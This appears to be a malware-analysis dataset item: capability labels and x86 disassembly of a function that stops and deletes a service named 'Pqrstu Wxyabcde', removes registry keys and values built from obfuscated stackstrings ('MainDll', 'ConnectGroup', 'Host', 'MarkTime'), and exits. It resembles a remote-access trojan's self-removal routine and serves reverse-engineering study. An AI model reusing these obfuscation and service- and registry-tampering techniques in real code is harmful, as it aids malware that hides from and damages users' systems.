Function at 0x10004fe0
Capabilities:
Check os version
Contain obfuscated stackstrings
Delete registry key
Delete registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e4
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
cmp byte [0x1002d8bc], 2
push ebx
push esi
push edi
jne 0x1000510d
push str.Pqrstu_Wxyabcde
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x1000510d
push 0xf003f
push 0
push 0
call dword [0x1002e21c]
mov edi, eax
test edi, edi
je 0x100050ad
push 0xf01ff
push str.Pqrstu_Wxyabcde
push edi
call dword [0x1002e220]
mov esi, eax
test esi, esi
je 0x100050a6
lea eax, [ebp - 0x444]
push eax
push esi
call dword [0x1002e22c]
test eax, eax
je 0x1000509f
cmp dword [ebp - 0x440], 1
je 0x1000509f
lea eax, [ebp - 0x444]
push eax
push 1
push esi
call dword [0x1002e230]
test eax, eax
je 0x1000509f
cmp dword [ebp - 0x440], 3
jne 0x1000509f
nop
push 0xa
call dword [0x1002e18c]
lea eax, [ebp - 0x444]
push eax
push esi
call dword [0x1002e22c]
cmp dword [ebp - 0x440], 3
je 0x10005080
push esi
call dword [0x1002e228]
push edi
call dword [0x1002e228]
push 0xf003f
push 0
push 0
call dword [0x1002e21c]
mov esi, eax
test esi, esi
je 0x100050ee
push 0xf01ff
push str.Pqrstu_Wxyabcde
push esi
call dword [0x1002e220]
mov edi, eax
test edi, edi
je 0x100050e7
push edi
call dword [0x1002e23c]
push edi
call dword [0x1002e228]
push esi
call dword [0x1002e228]
push 3
push 0
push 0
push 0
push str.Pqrstu_Wxyabcde
mov edx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.10008250
add esp, 0x14
call fcn.10009d20
push 0x400
lea eax, [ebp - 0x428]
push 0
push eax
call fcn.1000e720
add esp, 0xc
mov dword [ebp - 0x18], 0x6e69614d
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x5c6c6c44
mov word [ebp - 0x10], 0x7325
mov byte [ebp - 0xe], 0
push 0x1002d968
push eax
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x4e4]
add esp, 0xc
mov dword [ebp - 0x28], 0x6e6e6f43
mov dword [ebp - 0x24], 0x47746365
mov dword [ebp - 0x20], 0x70756f72
mov byte [ebp - 0x1c], 0
push eax
push 2
push 0
lea eax, [ebp - 0x428]
mov dword [ebp - 0xc], 0x74736f48
push eax
push connect
mov byte [ebp - 8], 0
call ebx
test eax, eax
jne 0x100051be
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x4e4]
call esi
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x4e4]
call esi
push dword [ebp - 0x4e4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
lea eax, [ebp - 0x4e4]
push eax
push 2
push 0
push str.MainDll
push connect
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x100051fa
push 0x1002d968
push dword [ebp - 0x4e4]
call edi
push dword [ebp - 0x4e4]
call esi
lea eax, [ebp - 0x4e4]
push eax
push 2
push 0
push str.MarkTime
push connect
call ebx
test eax, eax
jne 0x1000522a
push 0x1002d968
push dword [ebp - 0x4e4]
call edi
push dword [ebp - 0x4e4]
call esi
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x4e0], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x4d0], 2
jne 0x1000526b
mov eax, dword [0x1002f3b4]
mov ecx, 1
cmp dword [ebp - 0x4dc], 6
cmovae eax, ecx
mov dword [0x1002f3b4], eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]